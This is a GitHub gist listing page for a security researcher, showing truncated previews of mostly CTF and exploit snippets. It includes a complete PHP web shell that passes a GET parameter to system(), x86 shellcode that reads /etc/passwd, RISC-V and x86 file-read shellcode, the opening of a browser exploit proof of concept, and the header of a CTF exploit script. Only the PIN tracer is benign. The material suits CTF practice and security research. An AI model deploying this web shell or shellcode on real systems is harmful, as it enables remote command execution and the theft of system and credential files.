Skip to content

Instantly share code, notes, and snippets.

View Jinmo's full-sized avatar

Jinmo Jinmo

388 followers · 1 following
View GitHub Profile
@Jinmo
Jinmo / MoveTracer.cpp
Created May 29, 2015 19:40
PIN Simple "MOV"Tracer
#include "pin.H"
#include <stdio.h>
FILE *out_fp;
VOID TraceMove(VOID *addr) {
fprintf(out_fp, "%p: MOV Here!\n", addr);
}
VOID INSAnalysis(INS ins, VOID *v) {
if (INS_Opcode(ins) == XED_ICLASS_MOV)
@Jinmo
Jinmo / shell.php
Created August 15, 2015 09:47
<?php
echo 'Shell launched!\n';
system($_GET[cmd]);
?>
@Jinmo
Jinmo / readfile_x86.s
Created December 12, 2015 09:55
x86 read file
jmp a
b:
pop ebx
xor ecx, ecx
xor edx, edx
lea eax, [ecx+5]
int 0x80
xchg eax, ecx
mov al, 187
lea ebx, [edx+1]
@Jinmo
Jinmo / riscv-readfile.s
Last active December 23, 2015 04:54
RISCV file read and encryption (4byte xor, for flag length)
# file read shellcode
# riscv
# - buffer: pc + 0x100, must be writable
# - if you want, you can change it
# compile:
# export PATH=$PATH:/opt/riscv/bin
# riscv64-unknown-elf-as code.s -o code.o
# riscv64-unknown-elf-objcopy --dump-section .text=code.dump code.o
# output: code.dump
@Jinmo
Jinmo / poc.html
Created March 30, 2016 18:05
BKP qwn2own
<html>
<head>
<script type="text/javascript">
function qs(addr, read) {
var s = '';
var i;
var c = 0;
for(i = 0; i < 50; i++) {
c = (read(addr + i - 2) >> 16) & 0xff;
if(c == 0) return s;
@Jinmo
Jinmo / gist:087cec3ea791bc6744dd05182855721b
Created April 5, 2016 14:40
function check_space {
if [[ $1 == *[bdks';''&'' ']* ]]
then
return 0
fi
return 1
}
while :
@Jinmo
Jinmo / read.s
Created July 25, 2016 18:00
x86 /etc/passwd read shellcode 48bytes
.intel_syntax noprefix
.globl _start
_start:
xor ecx, ecx
mul ecx
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov al, 5
@Jinmo
Jinmo / mario.py
Created December 31, 2016 09:25
33c3 mario
import itertools
import struct
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
@Jinmo
Jinmo / drawdrawdraw.py
Created July 20, 2016 04:43
drawdrawdraw exploit on XCTF Finals 2016
from transaction_pb2 import Transaction, Reply, Command
from rc4 import RC4 # https://github.com/bozhu/RC4-Python
import socket
import hexdump
import random
import struct
import telnetlib
import sys
@Jinmo
Jinmo / malloc.mmap.c
Last active September 16, 2017 06:15
munmap by heap (relative address!)
// How to call munmap(0x414141410000, 0x20000)
// : the hard way
// tested on 64bit ubuntu
#define SIZE 0x20000
int main() {
long long chunk[3];
long long target;
target = 0x414141410000LL;